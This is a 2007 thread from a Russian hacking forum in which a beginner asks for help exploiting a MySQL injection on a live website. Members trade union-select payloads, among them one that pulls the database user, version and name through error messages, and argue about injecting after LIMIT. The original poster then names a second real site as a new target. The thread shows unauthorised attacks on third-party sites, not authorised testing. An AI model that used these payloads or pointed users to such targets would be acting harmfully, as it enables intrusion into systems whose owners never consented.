Страшной запрос

Discussion in 'Уязвимости' started by Dimi4, 17 Nov 2007.

  1. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291
    MySQL injection.
    http://wtf.com/country/ukraine/4/?page=-2%20union/**/select/**/45,15/*
    Гы, ет наверно я только так тупо запросы формирую :D
    При етом выдает нечто страшное:
    PHP:
    SELECT ai.idah.headlineat.full_textam.smallimage_url as imgat.announcelah.headline as en_namelower(si.name), si.urlsi.ahref as site_titlest.description FROM elgov_articleitem as aielgov_articletext as atelgov_articleheadline as ahelgov_subjectitem as sielgov_subjecttitle as st JOIN elgov_articleactivity as aa LEFT JOIN elgov_articleimage as am ON (am.item_id ai.idLEFT JOIN elgov_articleheadline as lah ON (lah.item_id ai.id AND lah.lang_id 5WHERE ai.id ah.item_id AND ai.examine AND ai.id at.item_id AND ah.lang_id AND at.lang_id ah.lang_id AND ai.inode si.id AND lower(si.name) = 'ukraine' AND st.item_id si.id AND st.lang_id ah.lang_id AND aa.article_id ai.id AND aa.inode 4 GROUP BY ai.id ORDER BY ah.headline LIMIT -4515

    MYSQL ERROR ]: SELECT ai.idah.headlineat.full_textam.smallimage_url as imgat.announcelah.headline as en_namelower(si.name), si.urlsi.ahref as site_titlest.description FROM elgov_articleitem as aielgov_articletext as atelgov_articleheadline as ahelgov_subjectitem as sielgov_subjecttitle as st JOIN elgov_articleactivity as aa LEFT JOIN elgov_articleimage as am ON (am.item_id ai.idLEFT JOIN elgov_articleheadline as lah ON (lah.item_id ai.id AND lah.lang_id 5WHERE ai.id ah.item_id AND ai.examine AND ai.id at.item_id AND ah.lang_id AND at.lang_id ah.lang_id AND ai.inode si.id AND lower(si.name) = 'ukraine' AND st.item_id si.id AND st.lang_id ah.lang_id AND aa.article_id ai.id AND aa.inode 4 GROUP BY ai.id ORDER BY ah.headline LIMIT -4515 (You have an error in your SQL syntaxcheck the manual that corresponds to your MySQL server version for the right syntax to use near '-45, 15' at line 30 )

    Warningmysql_fetch_object(): supplied argument is not a valid MySQL result resource in /var/www/virtual/нечто/sm/self/lib/Adelite/SiteManager/db_sql.class.php on line 62

    Warning
    Cannot modify header information headers already sent by (output started at /var/www/virtual/нечто/sm/self/lib/Adelite/SiteManager/db_sql.class.php:36in /var/www/virtual/нечто/sm/self/lib/Adelite/SiteManager/server.class.php on line 209
    Вы сразу скажите "линк в студию!"
    Но дайте мне возможность сделать ету инэкцию самому, ибо я их тока начал изучать.Да, да мануалы на ачате читал...
    Жду ваших советов.
    П.С. Просьба не кричать ЛАМЕР!, тут всьо просто! :eek:
     
    2 people like this.
  2. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    ничё ты тут не сделаешь
     
    1 person likes this.
  3. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291
    а как на шчот строки
    PHP:
    You have an error in your SQL syntaxcheck the manual that corresponds to your MySQL server version for the right syntax to use near '-45, 15' at line 30 
    :(
     
    1 person likes this.
  4. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    инъекция после limit'a
    учи мат часть
     
  5. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    595
    Reputations:
    567
    Народ ну где тут иньекция после лимита?
    Тут видимо два запроса результат первого вставляется во второй но в первый раз вижу чтобы лимит был с отрицательным значением... Но тут есть огромный плюс если моя догдадка верна раз отчет об ошибках есть, то и в ошибке ты увидишь ответ на твою иньекцию то есть юзай что то типа этого:
    Code:
    http://wtf.com/country/ukraine/4/?page=-2%20union/**/select/**/CONCAT_WS(0x20,USER(),VERSION(),DATABASE()),15/*
    И в ошибке ты по идее должен увидеть что то типа
    Code:
     ( You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-[имя юзера] [версияБД] [и имя самой БД], 15' at line 30 ) 
    ЗЫ а вот ссылку бы не помешало бы, бо по этой тут ответ 404 ))
     
    1 person likes this.
  6. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    Spyder, если инжектируется параметр, который определяет какое-то значение из LIMIT, то что мешает с его помощью сформировать нормальный LIMIT, а потом к этому запросу сделать UNION+SELECT нужных тебе полей?
     
  7. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    595
    Reputations:
    567
    Еще раз спрашиваю где вы увидели инжект в лимит?
     
    #7 Dr.Z3r0, 19 Nov 2007
    Last edited: 31 May 2011
  8. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    А ХЗ... Спайдер написал "инъекция после limit'a"... Я просто сказал что и в этом случае возможна успешная эксплуатация...
     
  9. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    вот давайте он ссылку даст а вы раскрутите скуль, ок? =)
    ты маны по SQL читал? UNION не может идти после оператора LIMIT
     
    #9 Spyder, 19 Nov 2007
    Last edited: 19 Nov 2007
  10. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    Мало того, что читал, так ещё и попробовал запрос:

    Как думаешь, каков был результат? Правильно! Две записи! Пробовал это на MySQL 4.1.10... Ты не путаешь с тройкой? Там действительно нельзя ставить после LIMIT объединение через UNION, потому что в тройке UNION вообще не поддерживается...
     
    1 person likes this.
  11. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    вобще то ты прав, но не в данном случае union можно вставить после limit если в Select нет order by, а здесь есть

    попробуй
    Code:
     SELECT * from lala order by 1limit 0,1 union select * from lala where id=5
     
    #11 Scipio, 19 Nov 2007
    Last edited: 19 Nov 2007
    1 person likes this.
  12. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    595
    Reputations:
    567
    Давай... Имхо не существует нераскручиваемой скули...
     
  13. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291
    Да недоковырял я... багу прикрили
    Но есть новая... голосуем справа
    http://greatukrainians.com.ua/voting/
     
  14. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    Scipio, да. В таком случае запрос должен иметь вид:

    Что практически всегда не так...
     
  15. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    мало скулей видел =)